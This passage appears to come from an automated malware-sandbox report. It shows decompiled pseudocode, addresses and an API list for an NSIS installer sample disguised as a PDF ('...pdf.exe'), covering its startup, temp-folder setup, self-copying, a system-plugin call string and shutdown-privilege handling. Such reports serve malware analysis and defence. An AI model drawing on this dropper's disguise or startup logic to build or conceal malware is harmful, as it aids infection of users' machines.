                                                                                                                				void* _t116;
                                                                                                                				WCHAR* _t118;
                                                                                                                				signed int _t120;
                                                                                                                				intOrPtr* _t124;
                                                                                                                				void* _t138;
                                                                                                                				short _t144;
                                                                                                                				void* _t149;
                                                                                                                				void* _t153;
                                                                                                                				void* _t158;
                                                                                                                				signed int _t168;
                                                                                                                				void* _t171;
                                                                                                                				void* _t176;
                                                                                                                				intOrPtr _t178;
                                                                                                                				intOrPtr _t179;
                                                                                                                				intOrPtr* _t180;
                                                                                                                				int _t189;
                                                                                                                				void* _t190;
                                                                                                                				void* _t199;
                                                                                                                				signed int _t205;
                                                                                                                				signed int _t210;
                                                                                                                				signed int _t215;
                                                                                                                				signed int _t217;
                                                                                                                				int* _t219;
                                                                                                                				signed int _t227;
                                                                                                                				signed int _t230;
                                                                                                                				CHAR* _t232;
                                                                                                                				char* _t233;
                                                                                                                				signed int _t234;
                                                                                                                				WCHAR* _t235;
                                                                                                                				void* _t251;
                                                                                                                
                                                                                                                				_t217 = 0x20;
                                                                                                                				_t189 = 0;
                                                                                                                				_v24 = 0;
                                                                                                                				_v8 = L"Error writing temporary file. Make sure your temp folder is valid.";
                                                                                                                				_v20 = 0;
                                                                                                                				SetErrorMode(0x8001); // executed
                                                                                                                				_v324.szCSDVersion = 0;
                                                                                                                				_v48 = 0;
                                                                                                                				_v44 = 0;
                                                                                                                				_v324.dwOSVersionInfoSize = 0x11c;
                                                                                                                				if(GetVersionExW( &_v324) == 0) {
                                                                                                                					_v324.dwOSVersionInfoSize = 0x114;
                                                                                                                					GetVersionExW( &_v324);
                                                                                                                					asm("sbb eax, eax");
                                                                                                                					_v42 = 4;
                                                                                                                					_v48 =  !( ~(_v324.szCSDVersion - 0x53)) & _v278 + 0xffffffd0;
                                                                                                                				}
                                                                                                                				if(_v324.dwMajorVersion < 0xa) {
                                                                                                                					_v310 = _v310 & 0x00000000;
                                                                                                                				}
                                                                                                                				 *0x434fb8 = _v324.dwBuildNumber;
                                                                                                                				 *0x434fbc = (_v324.dwMajorVersion & 0x0000ffff | _v324.dwMinorVersion & 0x000000ff) << 0x00000010 | _v48 & 0x0000ffff | _v42 & 0x000000ff;
                                                                                                                				if( *0x434fbe != 0x600) {
                                                                                                                					_t180 = E0040690A(_t189);
                                                                                                                					if(_t180 != _t189) {
                                                                                                                						 *_t180(0xc00);
                                                                                                                					}
                                                                                                                				}
                                                                                                                				_t232 = "UXTHEME";
                                                                                                                				do {
                                                                                                                					E0040689A(_t232); // executed
                                                                                                                					_t232 =  &(_t232[lstrlenA(_t232) + 1]);
                                                                                                                				} while ( *_t232 != 0);
                                                                                                                				E0040690A(0xb);
                                                                                                                				 *0x434f04 = E0040690A(9);
                                                                                                                				_t88 = E0040690A(7);
                                                                                                                				if(_t88 != _t189) {
                                                                                                                					_t88 =  *_t88(0x1e);
                                                                                                                					if(_t88 != 0) {
                                                                                                                						 *0x434fbc =  *0x434fbc | 0x00000080;
                                                                                                                					}
                                                                                                                				}
                                                                                                                				__imp__#17();
                                                                                                                				__imp__OleInitialize(_t189); // executed
                                                                                                                				 *0x434fc0 = _t88;
                                                                                                                				SHGetFileInfoW(0x42b228, _t189,  &_v1016, 0x2b4, _t189); // executed
                                                                                                                				E0040653D(0x433f00, L"NSIS Error");
                                                                                                                				_t92 = GetCommandLineW();
                                                                                                                				_t233 = L"\"C:\\Users\\Arthur\\Desktop\\008s06523610054680b6011375030062022.pdf.exe\"";
                                                                                                                				E0040653D(_t233, _t92);
                                                                                                                				_t94 = _t233;
                                                                                                                				_t234 = 0x22;
                                                                                                                				 *0x434f00 = 0x400000;
                                                                                                                				_t251 = L"\"C:\\Users\\Arthur\\Desktop\\008s06523610054680b6011375030062022.pdf.exe\"" - _t234; // 0x22
                                                                                                                				if(_t251 == 0) {
                                                                                                                					_t217 = _t234;
                                                                                                                					_t94 =  &M00440002;
                                                                                                                				}
                                                                                                                				_t199 = CharNextW(E00405E39(_t94, _t217));
                                                                                                                				_v16 = _t199;
                                                                                                                				while(1) {
                                                                                                                					_t97 =  *_t199;
                                                                                                                					_t252 = _t97 - _t189;
                                                                                                                					if(_t97 == _t189) {
                                                                                                                						break;
                                                                                                                					}
                                                                                                                					_t210 = 0x20;
                                                                                                                					__eflags = _t97 - _t210;
                                                                                                                					if(_t97 != _t210) {
                                                                                                                						L17:
                                                                                                                						__eflags =  *_t199 - _t234;
                                                                                                                						_v12 = _t210;
                                                                                                                						if( *_t199 == _t234) {
                                                                                                                							_v12 = _t234;
                                                                                                                							_t199 = _t199 + 2;
                                                                                                                							__eflags = _t199;
                                                                                                                						}
                                                                                                                						__eflags =  *_t199 - 0x2f;
                                                                                                                						if( *_t199 != 0x2f) {
                                                                                                                							L32:
                                                                                                                							_t199 = E00405E39(_t199, _v12);
                                                                                                                							__eflags =  *_t199 - _t234;
                                                                                                                							if(__eflags == 0) {
                                                                                                                								_t199 = _t199 + 2;
                                                                                                                								__eflags = _t199;
                                                                                                                							}
                                                                                                                							continue;
                                                                                                                						} else {
                                                                                                                							_t199 = _t199 + 2;
                                                                                                                							__eflags =  *_t199 - 0x53;
                                                                                                                							if( *_t199 != 0x53) {
                                                                                                                								L24:
                                                                                                                								asm("cdq");
                                                                                                                								asm("cdq");
                                                                                                                								_t215 = L"NCRC" & 0x0000ffff;
                                                                                                                								asm("cdq");
                                                                                                                								_t227 = ( *0x40a2c2 & 0x0000ffff) << 0x00000010 |  *0x40a2c0 & 0x0000ffff | _t215;
                                                                                                                								__eflags =  *_t199 - (( *0x40a2be & 0x0000ffff) << 0x00000010 | _t215);
                                                                                                                								if( *_t199 != (( *0x40a2be & 0x0000ffff) << 0x00000010 | _t215)) {
                                                                                                                									L29:
                                                                                                                									asm("cdq");
                                                                                                                									asm("cdq");
                                                                                                                									_t210 = L" /D=" & 0x0000ffff;
                                                                                                                									asm("cdq");
                                                                                                                									_t230 = ( *0x40a2b6 & 0x0000ffff) << 0x00000010 |  *0x40a2b4 & 0x0000ffff | _t210;
                                                                                                                									__eflags =  *(_t199 - 4) - (( *0x40a2b2 & 0x0000ffff) << 0x00000010 | _t210);
                                                                                                                									if( *(_t199 - 4) != (( *0x40a2b2 & 0x0000ffff) << 0x00000010 | _t210)) {
                                                                                                                										L31:
                                                                                                                										_t234 = 0x22;
                                                                                                                										goto L32;
                                                                                                                									}
                                                                                                                									__eflags =  *_t199 - _t230;
                                                                                                                									if( *_t199 == _t230) {
                                                                                                                										 *(_t199 - 4) = _t189;
                                                                                                                										__eflags = _t199;
                                                                                                                										E0040653D(L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Buildup\\Skaldedes", _t199);
                                                                                                                										L37:
                                                                                                                										_t235 = L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\";
                                                                                                                										GetTempPathW(0x400, _t235);
                                                                                                                										_t116 = E004034FC(_t199, _t252);
                                                                                                                										_t253 = _t116;
                                                                                                                										if(_t116 != 0) {
                                                                                                                											L40:
                                                                                                                											DeleteFileW(L"1033"); // executed
                                                                                                                											_t118 = E0040307D(_t255, _v20); // executed
                                                                                                                											_v8 = _t118;
                                                                                                                											if(_t118 != _t189) {
                                                                                                                												L68:
                                                                                                                												E00403B12();
                                                                                                                												__imp__OleUninitialize();
                                                                                                                												if(_v8 == _t189) {
                                                                                                                													if( *0x434f94 == _t189) {
                                                                                                                														L77:
                                                                                                                														_t120 =  *0x434fac;
                                                                                                                														if(_t120 != 0xffffffff) {
                                                                                                                															_v24 = _t120;
                                                                                                                														}
                                                                                                                														ExitProcess(_v24);
                                                                                                                													}
                                                                                                                													if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v16) != 0) {
                                                                                                                														LookupPrivilegeValueW(_t189, L"SeShutdownPrivilege",  &(_v40.Privileges));
                                                                                                                														_v40.PrivilegeCount = 1;
                                                                                                                														_v28 = 2;
                                                                                                                														AdjustTokenPrivileges(_v16, _t189,  &_v40, _t189, _t189, _t189);
                                                                                                                													}
                                                                                                                													_t124 = E0040690A(4);
                                                                                                                													if(_t124 == _t189) {
                                                                                                                														L75:
                                                                                                                														if(ExitWindowsEx(2, 0x80040002) != 0) {
                                                                                                                															goto L77;
                                                                                                                														}
                                                                                                                														goto L76;
                                                                                                                													} else {
                                                                                                                														_push(0x80040002);
                                                                                                                														_push(0x25);
                                                                                                                														_push(_t189);
                                                                                                                														_push(_t189);
                                                                                                                														_push(_t189);
                                                                                                                														if( *_t124() == 0) {
                                                                                                                															L76:
                                                                                                                															E0040140B(9);
                                                                                                                															goto L77;
                                                                                                                														}
                                                                                                                														goto L75;
                                                                                                                													}
                                                                                                                												}
                                                                                                                												E00405B9D(_v8, 0x200010);
                                                                                                                												ExitProcess(2);
                                                                                                                											}
                                                                                                                											if( *0x434f1c == _t189) {
                                                                                                                												L51:
                                                                                                                												 *0x434fac =  *0x434fac | 0xffffffff;
                                                                                                                												_v24 = E00403BEC(_t265);
                                                                                                                												goto L68;
                                                                                                                											}
                                                                                                                											_t219 = E00405E39(L"\"C:\\Users\\Arthur\\Desktop\\008s06523610054680b6011375030062022.pdf.exe\"", _t189);
                                                                                                                											if(_t219 < L"\"C:\\Users\\Arthur\\Desktop\\008s06523610054680b6011375030062022.pdf.exe\"") {
                                                                                                                												L48:
                                                                                                                												_t264 = _t219 - L"\"C:\\Users\\Arthur\\Desktop\\008s06523610054680b6011375030062022.pdf.exe\"";
                                                                                                                												_v8 = L"Error launching installer";
                                                                                                                												if(_t219 < L"\"C:\\Users\\Arthur\\Desktop\\008s06523610054680b6011375030062022.pdf.exe\"") {
                                                                                                                													_t190 = E00405B08(__eflags);
                                                                                                                													lstrcatW(_t235, L"~nsu");
                                                                                                                													__eflags = _t190;
                                                                                                                													if(_t190 != 0) {
                                                                                                                														lstrcatW(_t235, "A");
                                                                                                                													}
                                                                                                                													lstrcatW(_t235, L".tmp");
                                                                                                                													_t220 = L"C:\\Users\\Arthur\\Desktop";
                                                                                                                													_t138 = lstrcmpiW(_t235, L"C:\\Users\\Arthur\\Desktop");
                                                                                                                													__eflags = _t138;
                                                                                                                													if(_t138 == 0) {
                                                                                                                														L67:
                                                                                                                														_t189 = 0;
                                                                                                                														__eflags = 0;
                                                                                                                														goto L68;
                                                                                                                													} else {
                                                                                                                														__eflags = _t190;
                                                                                                                														_push(_t235);
                                                                                                                														if(_t190 == 0) {
                                                                                                                															E00405AEB();
                                                                                                                														} else {
                                                                                                                															E00405A6E();
                                                                                                                														}
                                                                                                                														SetCurrentDirectoryW(_t235);
                                                                                                                														__eflags = L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Buildup\\Skaldedes"; // 0x43
                                                                                                                														if(__eflags == 0) {
                                                                                                                															E0040653D(L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Buildup\\Skaldedes", _t220);
                                                                                                                														}
                                                                                                                														E0040653D(L"kernel32::EnumResourceTypesW(i 0,i r1,i 0)", _v16);
                                                                                                                														_t202 = "A" & 0x0000ffff;
                                                                                                                														_t144 = ( *0x40a25a & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
                                                                                                                														__eflags = _t144;
                                                                                                                														_v12 = 0x1a;
                                                                                                                														L"45744128" = _t144;
                                                                                                                														do {
                                                                                                                															E0040657A(0, 0x42aa28, _t235, 0x42aa28,  *((intOrPtr*)( *0x434f10 + 0x120)));
                                                                                                                															DeleteFileW(0x42aa28);
                                                                                                                															__eflags = _v8;
                                                                                                                															if(_v8 != 0) {
                                                                                                                																_t149 = CopyFileW(L"C:\\Users\\Arthur\\Desktop\\008s06523610054680b6011375030062022.pdf.exe", 0x42aa28, 1);
                                                                                                                																__eflags = _t149;
                                                                                                                																if(_t149 != 0) {
                                                                                                                																	E004062FD(_t202, 0x42aa28, 0);
                                                                                                                																	E0040657A(0, 0x42aa28, _t235, 0x42aa28,  *((intOrPtr*)( *0x434f10 + 0x124)));
                                                                                                                																	_t153 = E00405B20(0x42aa28);
                                                                                                                																	__eflags = _t153;
                                                                                                                																	if(_t153 != 0) {
                                                                                                                																		CloseHandle(_t153);
                                                                                                                																		_v8 = 0;
                                                                                                                																	}
                                                                                                                																}
                                                                                                                															}
                                                                                                                															L"45744128" =  &(L"45744128"[0]);
                                                                                                                															_t61 =  &_v12;
                                                                                                                															 *_t61 = _v12 - 1;
                                                                                                                															__eflags =  *_t61;
                                                                                                                														} while ( *_t61 != 0);
                                                                                                                														E004062FD(_t202, _t235, 0);
                                                                                                                														goto L67;
                                                                                                                													}
                                                                                                                												}
                                                                                                                												 *_t219 = _t189;
                                                                                                                												_t222 =  &(_t219[2]);
                                                                                                                												_t158 = E00405F14(_t264,  &(_t219[2]));
                                                                                                                												_t265 = _t158;
                                                                                                                												if(_t158 == 0) {
                                                                                                                													goto L68;
                                                                                                                												}
                                                                                                                												E0040653D(L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Buildup\\Skaldedes", _t222);
                                                                                                                												E0040653D(L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Buildup\\Skaldedes\\digestedness\\Befarnes", _t222);
                                                                                                                												_v8 = _t189;
                                                                                                                												goto L51;
                                                                                                                											}
                                                                                                                											asm("cdq");
                                                                                                                											asm("cdq");
                                                                                                                											asm("cdq");
                                                                                                                											_t205 = ( *0x40a27e & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
                                                                                                                											_t168 = ( *0x40a282 & 0x0000ffff) << 0x00000010 |  *0x40a280 & 0x0000ffff | (_t210 << 0x00000020 |  *0x40a282 & 0x0000ffff) << 0x10;
                                                                                                                											while( *_t219 != _t205 || _t219[1] != _t168) {
                                                                                                                												_t219 = _t219;
                                                                                                                												if(_t219 >= L"\"C:\\Users\\Arthur\\Desktop\\008s06523610054680b6011375030062022.pdf.exe\"") {
                                                                                                                													continue;
                                                                                                                												}
                                                                                                                												break;
                                                                                                                											}
                                                                                                                											_t189 = 0;
                                                                                                                											goto L48;
                                                                                                                										}
                                                                                                                										GetWindowsDirectoryW(_t235, 0x3fb);
                                                                                                                										lstrcatW(_t235, L"\\Temp");
                                                                                                                										_t171 = E004034FC(_t199, _t253);
                                                                                                                										_t254 = _t171;
                                                                                                                										if(_t171 != 0) {
                                                                                                                											goto L40;
                                                                                                                										}
                                                                                                                										GetTempPathW(0x3fc, _t235);
                                                                                                                										lstrcatW(_t235, L"Low");
                                                                                                                										SetEnvironmentVariableW(L"TEMP", _t235);
                                                                                                                										SetEnvironmentVariableW(L"TMP", _t235);
                                                                                                                										_t176 = E004034FC(_t199, _t254);
                                                                                                                										_t255 = _t176;
                                                                                                                										if(_t176 == 0) {
                                                                                                                											goto L68;
                                                                                                                										}
                                                                                                                										goto L40;
                                                                                                                									}
                                                                                                                									goto L31;
                                                                                                                								}
                                                                                                                								__eflags =  *((intOrPtr*)(_t199 + 4)) - _t227;
                                                                                                                								if( *((intOrPtr*)(_t199 + 4)) != _t227) {
                                                                                                                									goto L29;
                                                                                                                								}
                                                                                                                								_t178 =  *((intOrPtr*)(_t199 + 8));
                                                                                                                								__eflags = _t178 - 0x20;
                                                                                                                								if(_t178 == 0x20) {
                                                                                                                									L28:
                                                                                                                									_t36 =  &_v20;
                                                                                                                									 *_t36 = _v20 | 0x00000004;
                                                                                                                									__eflags =  *_t36;
                                                                                                                									goto L29;
                                                                                                                								}
                                                                                                                								__eflags = _t178 - _t189;
                                                                                                                								if(_t178 != _t189) {
                                                                                                                									goto L29;
                                                                                                                								}
                                                                                                                								goto L28;
                                                                                                                							}
                                                                                                                							_t179 =  *((intOrPtr*)(_t199 + 2));
                                                                                                                							__eflags = _t179 - _t210;
                                                                                                                							if(_t179 == _t210) {
                                                                                                                								L23:
                                                                                                                								 *0x434fa0 = 1;
                                                                                                                								goto L24;
                                                                                                                							}
                                                                                                                							__eflags = _t179 - _t189;
                                                                                                                							if(_t179 != _t189) {
                                                                                                                								goto L24;
                                                                                                                							}
                                                                                                                							goto L23;
                                                                                                                						}
                                                                                                                					} else {
                                                                                                                						goto L16;
                                                                                                                					}
                                                                                                                					do {
                                                                                                                						L16:
                                                                                                                						_t199 = _t199 + 2;
                                                                                                                						__eflags =  *_t199 - _t210;
                                                                                                                					} while ( *_t199 == _t210);
                                                                                                                					goto L17;
                                                                                                                				}
                                                                                                                				goto L37;
                                                                                                                			}



















































                                                                                                                0x0040353b
                                                                                                                0x0040353c
                                                                                                                0x00403543
                                                                                                                0x00403546
                                                                                                                0x0040354d
                                                                                                                0x00403550
                                                                                                                0x00403563
                                                                                                                0x00403569
                                                                                                                0x0040356c
                                                                                                                0x0040356f
                                                                                                                0x0040357d
                                                                                                                0x00403585
                                                                                                                0x00403590
                                                                                                                0x004035a9
                                                                                                                0x004035ab
                                                                                                                0x004035b3
                                                                                                                0x004035b3
                                                                                                                0x004035be
                                                                                                                0x004035c0
                                                                                                                0x004035c0
                                                                                                                0x004035d5
                                                                                                                0x004035fa
                                                                                                                0x00403608
                                                                                                                0x0040360b
                                                                                                                0x00403612
                                                                                                                0x00403619
                                                                                                                0x00403619
                                                                                                                0x00403612
                                                                                                                0x0040361b
                                                                                                                0x00403620
                                                                                                                0x00403621
                                                                                                                0x0040362d
                                                                                                                0x00403631
                                                                                                                0x00403638
                                                                                                                0x00403646
                                                                                                                0x0040364b
                                                                                                                0x00403652
                                                                                                                0x00403656
                                                                                                                0x0040365a
                                                                                                                0x0040365c
                                                                                                                0x0040365c
                                                                                                                0x0040365a
                                                                                                                0x00403663
                                                                                                                0x0040366a
                                                                                                                0x00403670
                                                                                                                0x00403688
                                                                                                                0x00403698
                                                                                                                0x0040369d
                                                                                                                0x004036a3
                                                                                                                0x004036aa
                                                                                                                0x004036b1
                                                                                                                0x004036b3
                                                                                                                0x004036b4
                                                                                                                0x004036be
                                                                                                                0x004036c5
                                                                                                                0x004036c7
                                                                                                                0x004036c9
                                                                                                                0x004036c9
                                                                                                                0x004036dc
                                                                                                                0x004036de
                                                                                                                0x004037d8
                                                                                                                0x004037d8
                                                                                                                0x004037db
                                                                                                                0x004037de
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004036e8
                                                                                                                0x004036e9
                                                                                                                0x004036ec
                                                                                                                0x004036f5
                                                                                                                0x004036f5
                                                                                                                0x004036f8
                                                                                                                0x004036fb
                                                                                                                0x004036fe
                                                                                                                0x00403701
                                                                                                                0x00403701
                                                                                                                0x00403701
                                                                                                                0x00403702
                                                                                                                0x00403706
                                                                                                                0x004037c6
                                                                                                                0x004037cf
                                                                                                                0x004037d1
                                                                                                                0x004037d4
                                                                                                                0x004037d7
                                                                                                                0x004037d7
                                                                                                                0x004037d7
                                                                                                                0x00000000
                                                                                                                0x0040370c
                                                                                                                0x0040370d
                                                                                                                0x0040370e
                                                                                                                0x00403712
                                                                                                                0x0040372c
                                                                                                                0x00403733
                                                                                                                0x00403746
                                                                                                                0x00403747
                                                                                                                0x0040375c
                                                                                                                0x00403761
                                                                                                                0x00403763
                                                                                                                0x00403765
                                                                                                                0x00403781
                                                                                                                0x00403788
                                                                                                                0x0040379b
                                                                                                                0x0040379c
                                                                                                                0x004037b1
                                                                                                                0x004037b7
                                                                                                                0x004037b9
                                                                                                                0x004037bb
                                                                                                                0x004037c3
                                                                                                                0x004037c5
                                                                                                                0x00000000
                                                                                                                0x004037c5
                                                                                                                0x004037bf
                                                                                                                0x004037c1
                                                                                                                0x004037e6
                                                                                                                0x004037ea
                                                                                                                0x004037f3
                                                                                                                0x004037f8
                                                                                                                0x004037fe
                                                                                                                0x00403809
                                                                                                                0x0040380b
                                                                                                                0x00403810
                                                                                                                0x00403812
                                                                                                                0x0040386a
                                                                                                                0x0040386f
                                                                                                                0x00403878
                                                                                                                0x0040387f
                                                                                                                0x00403882
                                                                                                                0x00403a59
                                                                                                                0x00403a59
                                                                                                                0x00403a5e
                                                                                                                0x00403a67
                                                                                                                0x00403a84
                                                                                                                0x00403afc
                                                                                                                0x00403afc
                                                                                                                0x00403b04
                                                                                                                0x00403b06
                                                                                                                0x00403b06
                                                                                                                0x00403b0c
                                                                                                                0x00403b0c
                                                                                                                0x00403a9b
                                                                                                                0x00403aa7
                                                                                                                0x00403ab8
                                                                                                                0x00403abf
                                                                                                                0x00403ac6
                                                                                                                0x00403ac6
                                                                                                                0x00403ace
                                                                                                                0x00403ada
                                                                                                                0x00403ae8
                                                                                                                0x00403af3
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403adc
                                                                                                                0x00403adc
                                                                                                                0x00403add
                                                                                                                0x00403adf
                                                                                                                0x00403ae0
                                                                                                                0x00403ae1
                                                                                                                0x00403ae6
                                                                                                                0x00403af5
                                                                                                                0x00403af7
                                                                                                                0x00000000
                                                                                                                0x00403af7
                                                                                                                0x00000000
                                                                                                                0x00403ae6
                                                                                                                0x00403ada
                                                                                                                0x00403a71
                                                                                                                0x00403a78
                                                                                                                0x00403a78
                                                                                                                0x0040388e
                                                                                                                0x00403935
                                                                                                                0x00403935
                                                                                                                0x00403941
                                                                                                                0x00000000
                                                                                                                0x00403941
                                                                                                                0x0040389f
                                                                                                                0x004038a7
                                                                                                                0x004038f9
                                                                                                                0x004038f9
                                                                                                                0x004038ff
                                                                                                                0x00403906
                                                                                                                0x00403954
                                                                                                                0x00403956
                                                                                                                0x0040395b
                                                                                                                0x0040395d
                                                                                                                0x00403965
                                                                                                                0x00403965
                                                                                                                0x00403970
                                                                                                                0x00403975
                                                                                                                0x0040397c
                                                                                                                0x00403982
                                                                                                                0x00403984
                                                                                                                0x00403a57
                                                                                                                0x00403a57
                                                                                                                0x00403a57
                                                                                                                0x00000000
                                                                                                                0x0040398a
                                                                                                                0x0040398a
                                                                                                                0x0040398c
                                                                                                                0x0040398d
                                                                                                                0x00403996
                                                                                                                0x0040398f
                                                                                                                0x0040398f
                                                                                                                0x0040398f
                                                                                                                0x0040399c
                                                                                                                0x004039a4
                                                                                                                0x004039ab
                                                                                                                0x004039b3
                                                                                                                0x004039b3
                                                                                                                0x004039c0
                                                                                                                0x004039cc
                                                                                                                0x004039d6
                                                                                                                0x004039d6
                                                                                                                0x004039d8
                                                                                                                0x004039df
                                                                                                                0x004039e9
                                                                                                                0x004039f5
                                                                                                                0x004039fb
                                                                                                                0x00403a01
                                                                                                                0x00403a04
                                                                                                                0x00403a0e
                                                                                                                0x00403a14
                                                                                                                0x00403a16
                                                                                                                0x00403a1a
                                                                                                                0x00403a2b
                                                                                                                0x00403a31
                                                                                                                0x00403a36
                                                                                                                0x00403a38
                                                                                                                0x00403a3b
                                                                                                                0x00403a41
                                                                                                                0x00403a41
                                                                                                                0x00403a38
                                                                                                                0x00403a16
                                                                                                                0x00403a44
                                                                                                                0x00403a4b
                                                                                                                0x00403a4b
                                                                                                                0x00403a4b
                                                                                                                0x00403a4b
                                                                                                                0x00403a52
                                                                                                                0x00000000
                                                                                                                0x00403a52
                                                                                                                0x00403984
                                                                                                                0x00403908
                                                                                                                0x0040390b
                                                                                                                0x0040390f
                                                                                                                0x00403914
                                                                                                                0x00403916
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403922
                                                                                                                0x0040392d
                                                                                                                0x00403932
                                                                                                                0x00000000
                                                                                                                0x00403932
                                                                                                                0x004038b0
                                                                                                                0x004038c8
                                                                                                                0x004038d9
                                                                                                                0x004038da
                                                                                                                0x004038de
                                                                                                                0x004038e0
                                                                                                                0x004038ee
                                                                                                                0x004038f5
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004038f5
                                                                                                                0x004038f7
                                                                                                                0x00000000
                                                                                                                0x004038f7
                                                                                                                0x0040381a
                                                                                                                0x00403826
                                                                                                                0x0040382b
                                                                                                                0x00403830
                                                                                                                0x00403832
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x0040383a
                                                                                                                0x00403842
                                                                                                                0x00403853
                                                                                                                0x0040385b
                                                                                                                0x0040385d
                                                                                                                0x00403862
                                                                                                                0x00403864
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403864
                                                                                                                0x00000000
                                                                                                                0x004037c1
                                                                                                                0x0040376a
                                                                                                                0x0040376c
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x0040376e
                                                                                                                0x00403772
                                                                                                                0x00403776
                                                                                                                0x0040377d
                                                                                                                0x0040377d
                                                                                                                0x0040377d
                                                                                                                0x0040377d
                                                                                                                0x00000000
                                                                                                                0x0040377d
                                                                                                                0x00403778
                                                                                                                0x0040377b
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x0040377b
                                                                                                                0x00403714
                                                                                                                0x00403718
                                                                                                                0x0040371b
                                                                                                                0x00403722
                                                                                                                0x00403722
                                                                                                                0x00000000
                                                                                                                0x00403722
                                                                                                                0x0040371d
                                                                                                                0x00403720
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403720
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004036ee
                                                                                                                0x004036ee
                                                                                                                0x004036ef
                                                                                                                0x004036f0
                                                                                                                0x004036f0
                                                                                                                0x00000000
                                                                                                                0x004036ee
                                                                                                                0x00000000

                                                                                                                APIs
                                                                                                                • SetErrorMode.KERNELBASE(00008001), ref: 00403550
                                                                                                                • GetVersionExW.KERNEL32(?), ref: 00403579
                                                                                                                • GetVersionExW.KERNEL32(0000011C), ref: 00403590
                                                                                                                • lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403627
                                                                                                                • #17.COMCTL32(00000007,00000009,0000000B), ref: 00403663
                                                                                                                • OleInitialize.OLE32(00000000), ref: 0040366A
                                                                                                                • SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 00403688
                                                                                                                • GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 0040369D
                                                                                                                • CharNextW.USER32(00000000,"C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe",00000020,"C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe",00000000), ref: 004036D6
                                                                                                                • GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,?), ref: 00403809
                                                                                                                • GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040381A
                                                                                                                • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403826
                                                                                                                • GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040383A
                                                                                                                • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403842
                                                                                                                • SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403853
                                                                                                                • SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040385B
                                                                                                                • DeleteFileW.KERNELBASE(1033), ref: 0040386F
                                                                                                                • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu), ref: 00403956
                                                                                                                • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C), ref: 00403965
                                                                                                                  • Part of subcall function 00405AEB: CreateDirectoryW.KERNELBASE(?,00000000,00403520,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405AF1
                                                                                                                • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp), ref: 00403970
                                                                                                                • lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe",00000000,?), ref: 0040397C
                                                                                                                • SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 0040399C
                                                                                                                • DeleteFileW.KERNEL32(0042AA28,0042AA28,?,kernel32::EnumResourceTypesW(i 0,i r1,i 0),?), ref: 004039FB
                                                                                                                • CopyFileW.KERNEL32(C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe,0042AA28,00000001), ref: 00403A0E
                                                                                                                • CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403A3B
                                                                                                                • OleUninitialize.OLE32(?), ref: 00403A5E
                                                                                                                • ExitProcess.KERNEL32 ref: 00403A78
                                                                                                                • GetCurrentProcess.KERNEL32(00000028,?), ref: 00403A8C
                                                                                                                • OpenProcessToken.ADVAPI32(00000000), ref: 00403A93
                                                                                                                • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403AA7
                                                                                                                • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403AC6
                                                                                                                • ExitWindowsEx.USER32(00000002,80040002), ref: 00403AEB
                                                                                                                • ExitProcess.KERNEL32 ref: 00403B0C
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
